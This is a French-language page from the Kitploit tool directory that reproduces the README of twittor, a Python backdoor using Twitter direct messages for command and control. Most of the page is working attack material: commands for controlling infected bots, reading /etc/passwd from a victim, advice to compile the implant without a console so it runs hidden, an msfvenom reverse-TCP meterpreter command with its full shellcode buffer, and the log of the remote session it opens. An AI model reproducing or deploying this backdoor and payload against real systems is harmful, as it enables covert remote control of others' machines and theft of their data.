Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
twittor — Un backdoor complet qui utilise Twitter comme serveur C&C | Kitploit
Outils/GitHubGitHub/paulsec/twittor
ExploitationShellcodePost-ExploitationCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubpaulsec/twittor

twittor

Un backdoor complet qui utilise Twitter comme serveur C&C

Voir le dépôt
806225il y a 10 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Twittor

Un backdoor furtif basé sur Python qui utilise Twitter (Messages directs) comme serveur de commande et contrôle. Ce projet a été inspiré par Gcat qui fait la même chose mais en utilisant un compte Gmail.

Configuration

Pour que cela fonctionne, vous avez besoin de :

  • Un compte Twitter (Utilisez un compte dédié ! N'utilisez pas votre compte personnel !)
  • Enregistrez une application sur Twitter avec les niveaux d'accès Lecture, écriture et messages directs.

Installez les dépendances :

root@kitploit:~
$ pip install -r requirements.txt

Ce dépôt contient deux fichiers :

  • twittor.py qui est le client
  • implant.py le véritable backdoor à déployer

Dans les deux fichiers, modifiez la partie jetons d'accès et ajoutez ceux que vous avez générés précédemment :

root@kitploit:~
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

Vous voudrez probablement compiler implant.py en un exécutable en utilisant Pyinstaller. Pour supprimer la console lors de la compilation avec Pyinstaller, les flags --noconsole --onefile vous aideront. Je dis ça, je dis rien.

Utilisation

Pour exécuter le client, lancez le script.

root@kitploit:~
$ python twittor.py

Vous accéderez alors à un shell 'interactif' qui propose quelques commandes :

root@kitploit:~
$ help

    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client
    
$ 
  • Une fois que vous avez déployé le backdoor sur quelques systèmes, vous pouvez vérifier les clients disponibles en utilisant la commande list :
root@kitploit:~
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

La sortie est l'adresse MAC qui sert à identifier de manière unique le système mais donne également les informations sur le système d'exploitation sur lequel l'implant s'exécute. Dans ce cas, une machine Linux.

  • Envoyons une commande à un implant :
root@kitploit:~
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

Ici, nous disons à B7:76:1F:0B:50:B7 d'exécuter cat /etc/passwd, le script affiche ensuite le jobid que nous pouvons utiliser pour récupérer la sortie de cette commande.

  • Récupérons les résultats !
root@kitploit:~
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

La commande à utiliser dans ce cas est !retrieve suivie du jobid de la commande.

  • Actualiser les résultats

Pour récupérer les nouveaux bots/sorties de commandes mais aussi forcer le client à actualiser les résultats, utilisez la commande refresh.

root@kitploit:~
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$

Cela enverra une requête PING et attendra 10 secondes qu'ils répondent. Les messages directs seront ensuite analysés - La liste des bots sera actualisée mais aussi la liste des commandes, y compris les nouvelles sorties de commandes.

  • Récupérer les commandes précédentes

Comme je l'ai dit plus tôt, les commandes (précédentes) seront récupérées à partir des messages directs plus anciens (limite de 200) et vous pouvez effectivement les récupérer/voir en utilisant la commande list_commands

root@kitploit:~
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
  • Exécution de shellcode (hôtes Windows)

Cette option peut être pratique pour récupérer une session meterpreter et cet article devient très utile.

Générez votre shellcode meterpreter, comme :

root@kitploit:~
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Extrayez le shellcode et envoyez-le au bot spécifié en utilisant la commande !shellcode !

root@kitploit:~
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

Et voilà !

root@kitploit:~
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

Ouvrez une bière et profitez de votre shell meterpreter inversé.

Contribuer et/ou questions ?

Le projet est entièrement open source et publié sous licence MIT. Je voulais surtout créer une PoC après que Twitter a décidé de supprimer la limite de 140 caractères pour les Messages directs. Quelques éléments devraient être ajoutés, comme le chiffrement (Ajouter AES par-dessus). Les "Messages" utilisent une structure de données de dictionnaire et la commande entière est uniquement encodée en base64. Forkez le projet, contribuez, soumettez des pull requests et amusez-vous.

Si vous trouvez un bug, ouvrez une issue sur Github et/ou pingez-moi sur Twitter.

Encore une fois, n'hésitez pas à consulter le projet incroyable Gcat de byt3bl33d3r qui m'a beaucoup inspiré.

Télécharger l’outil